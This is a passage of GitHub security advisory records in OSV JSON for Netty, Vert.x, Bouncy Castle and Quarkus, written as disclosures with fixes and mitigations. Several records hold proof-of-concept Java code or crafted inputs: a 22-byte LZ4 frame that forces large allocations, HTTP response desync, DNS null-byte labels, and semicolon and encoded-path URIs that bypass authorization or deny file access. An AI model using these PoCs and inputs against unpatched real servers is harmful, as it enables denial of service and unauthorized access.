    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:20:35Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n    @Test\n    void test() throws Exception {\n        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n            CountDownLatch latch = new CountDownLatch(1);\n\n            ServerBootstrap server = new ServerBootstrap()\n                    .group(workerGroup)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline()\n                                    .addLast(new Lz4FrameDecoder())\n                                    .addLast(new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverError.set(cause.getCause());\n                                            } else {\n                                                serverError.set(cause);\n                                            }\n                                            latch.countDown();\n                                        }\n                                    });\n                        }\n                    });\n\n            ChannelFuture serverChannel = server.bind(0).sync();\n\n            Bootstrap client = new Bootstrap()\n                    .group(workerGroup)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInboundHandlerAdapter() {\n                        @Override\n                        public void channelActive(ChannelHandlerContext ctx) {\n                            ByteBuf buf = ctx.alloc().buffer(22, 22);\n                            buf.writeLong(MAGIC_NUMBER);\n                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            buf.writeIntLE(1);\n                            buf.writeIntLE(1 \u003c\u003c 25);\n                            buf.writeIntLE(0);\n                            buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n                            ctx.fireChannelActive();\n                        }\n                    });\n\n            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n            assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n            clientChannel.channel().close();\n            serverChannel.channel().close();\n        } finally {\n            workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
  "id": "GHSA-mj4r-2hfc-f8p6",
  "modified": "2026-05-14T20:41:13Z",
  "published": "2026-05-07T00:20:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0.CR1"
            },
            {
              "fixed": "5.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-15T22:51:27Z",
    "nvd_published_at": "2026-01-15T21:16:05Z",
    "severity": "MODERATE"
  },
  "details": "The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\n\n\nThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web):  https://github.com/eclipse-vertx/vert.x/pull/5895 \n\n\n\nSteps to reproduce\nGiven a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html\n\nMitgation\nDisabling Static Handler cache fixes the issue.\n\n\n\nStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);",
  "id": "GHSA-cphf-4846-3xx9",
  "modified": "2026-01-16T20:20:55Z",
  "published": "2026-01-15T21:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1002"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vert-x3/vertx-web/issues/2836"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5894"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/commit/5b67f5d17788b2483d277c760f3f8154f9b2fed0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/commit/d007e7b418543eb1567fe95cf20f5450a5c2d047"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eclipse-vertx/vert.x"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vert.x Web static handler component cache can be manipulated to deny the access to static files"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.71"
            },
            {
              "fixed": "1.80.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.81"
            },
            {
              "fixed": "1.81.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.82"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-5598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:25:24Z",
    "nvd_published_at": "2026-04-15T10:16:49Z",
    "severity": "HIGH"
  },
  "details": "Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java.\n\nThis issue only affects users of the FrodoKEM algorithm involved in the decryption of encapsulations.\n\nThis issue affects BC-JAVA: from 1.71 to 1.80.1, 1.81, 1.82 to 1.83.\n\nFixed versions: 1.80.2, 1.81.1, 1.84",
  "id": "GHSA-p93r-85wp-75v3",
  "modified": "2026-06-19T15:20:41Z",
  "published": "2026-04-17T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/8692e6b2b191fc4aafa32545c7a78bdb9bf110c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/94abbd56413dfdac651fd878bc60253871ef5e87"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-5598"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:U/S:P/AU:Y/U:Red",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle Has Covert Timing Channel Vulnerability"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:21:48Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n    @Test\n    public void test() {\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n        ByteBuf request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n        request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n                \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n                \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n        // Response 1\n        HttpResponse response = channel.readInbound();\n        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n        LastHttpContent last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 2\n        response = channel.readInbound();\n        assertEquals(HttpResponseStatus.OK, response.status());\n        last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 3\n        FullHttpResponse response1 = channel.readInbound();\n        assertTrue(response1.decoderResult().isFailure());\n        assertEquals(0, response1.content().readableBytes());\n        response1.release();\n\n        assertFalse(channel.finish());\n    }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
  "id": "GHSA-57rv-r2g8-2cj3",
  "modified": "2026-05-14T20:41:17Z",
  "published": "2026-05-07T00:21:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has HttpClientCodec response desynchronization"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-transport-native-epoll"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42577"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:10:41Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNetty\u0027s epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread.\n\n## Affected versions\n\nAll versions of 4.2.x `netty-transport-native-epoll` up to and including 4.2.12.Final\n\n## Fixed in\n\n4.2.13.Final (fix merged into the `4.2` branch via [#16689](https://github.com/netty/netty/pull/16689); release not yet cut as of 2026-04-25).\n\n## Severity\n\n**Medium** \u2014 Denial of Service (resource exhaustion / CPU spin)\n\n**CVSS:** 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - **7.5**\n\n**CWE:** CWE-772: Missing Release of Resource after Effective Lifetime\n\n## Description\n\nWhen a TCP connection using Netty\u0027s epoll transport has `ALLOW_HALF_CLOSURE` enabled (or is in a half-closed state via the HTTP codec), and the remote peer:\n\n1. Sends a FIN (half-close), causing the server to mark the input as shutdown, then\n2. Sends a RST (e.g. by closing with `SO_LINGER=0`)\n\nthe server-side channel is never closed. This happens because:\n\n- `epollOutReady()` is a no-op when there is no pending flush.\n- `epollInReady()` short-circuits via `shouldBreakEpollInReady()` because input is already marked as shutdown.\n- The `EPOLLERR`/`EPOLLHUP` error condition is therefore never processed, and `channelInactive` is never fired.\n\nDepending on the Netty version and configuration, this results in:\n\n- **Stale channels**: The connection is never closed or deregistered. An unauthenticated remote attacker can repeat the sequence to accumulate stale connections, exhausting file descriptors, memory, or connection-count limits.\n- **CPU busy-loop**: In code paths where `clearEpollIn0()` is not called during the `ChannelInputShutdownReadComplete` event, `epoll_wait` returns immediately on every iteration for the affected fd, causing 100% CPU utilization on the event loop thread and starving all other connections multiplexed on it.\n\n## Mitigation\n\n- Upgrade to 4.2.13.Final when released (or build from the `4.2` branch at commit [`0ec3d97`](https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d)).\n- If upgrading is not immediately possible, configure idle timeouts on connections to limit the lifetime of stale channels.\n\n## References\n\n- Issue: https://github.com/netty/netty/issues/16683\n- Fix: https://github.com/netty/netty/pull/16689",
  "id": "GHSA-rwm7-x88c-3g2p",
  "modified": "2026-05-14T18:02:39Z",
  "published": "2026-05-06T23:10:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-rwm7-x88c-3g2p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42577"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/pull/16689"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty epoll transport denial of service via RST on half-closed TCP connection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-vertx-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.20.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-vertx-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.27.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-vertx-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.30.0"
            },
            {
              "fixed": "3.33.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-vertx-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.34.0"
            },
            {
              "fixed": "3.35.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T17:20:20Z",
    "nvd_published_at": "2026-05-05T21:16:22Z",
    "severity": "HIGH"
  },
  "details": "Quarkus version 3.32.4 is vulnerable to an authorization bypass issue (GHSL-2026-099), in which semicolons (matrix parameters) in HTTP requests can be used to bypass security constraints, potentially allowing unauthorized access to protected resources.\n\nUnauthenticated or lower-privileged users can bypass HTTP path-based authorization policies by appending a semicolon (`;`) and arbitrary text to the request URL. The vulnerability arises from a path-normalization inconsistency: Quarkus\u0027s [security layer](https://quarkus.io/guides/security-authorize-web-endpoints-reference) performs authorization checks on the raw URL path (which preserves matrix parameters), whereas RESTEasy Reactive\u0027s routing layer strips matrix parameters before matching endpoints. This allows requests like `/api/admin;anything` to bypass policies protecting `/api/admin` while still routing to the protected endpoint.\n\n\n### Impact\n\nThis issue may lead to Authentication/Authorization bypasses.\n\n### Credits\n\nThis issue was discovered with the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent) and manually verified by GHSL team members [@p- (Peter St\u00f6ckli)](https://github.com/p-) and [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo).",
  "id": "GHSA-rc95-pcm8-65v9",
  "modified": "2026-05-08T15:31:20Z",
  "published": "2026-05-04T17:20:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/quarkusio/quarkus/security/advisories/GHSA-rc95-pcm8-65v9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39852"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/quarkusio/quarkus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Quarkus has Authentication/Authorization bypasses"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-626"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:12:47Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n  - No null byte validation in domain name labels\n  - No per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n  - No per-label length validation (max 63)\n  - No total domain name length validation (max 255)\n  - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            break;  // NO ERROR - silently truncates!\n        }\n        // NO check: labelLen \u003e 63\n        // NO check: label contains null bytes\n        // NO check: total name \u003e 255 bytes\n        buf.writeByte(labelLen);                    // Can write values \u003e 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!\n    }\n    buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len \u003c= 63\n        throw new CorruptedFrameException(\"truncated label in a name\");\n    }\n    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n    //    ^^^^^^ StringBuilder grows WITHOUT any length limit\n    in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput;  // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n    .addRecord(DnsSection.QUESTION,\n        new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte:  [C8] [61 61 61 ... (200 bytes)]\n         \u2191\n   Label interpretation: 200-byte label starting with \u0027a\u0027\n   Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n            String.class, ByteBuf.class);\n        encode.setAccessible(true);\n\n        // Test 1: Null byte in domain name\n        ByteBuf buf = Unpooled.buffer(256);\n        encode.invoke(null, \"evil\\0.example.com\", buf);\n        byte[] bytes = new byte[buf.readableBytes()];\n        buf.readBytes(bytes);\n        buf.release();\n        System.out.print(\"[TEST 1] Null byte - Encoded: \");\n        for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n        // Test 2: 200-byte label\n        ByteBuf buf2 = Unpooled.buffer(512);\n        encode.invoke(null, 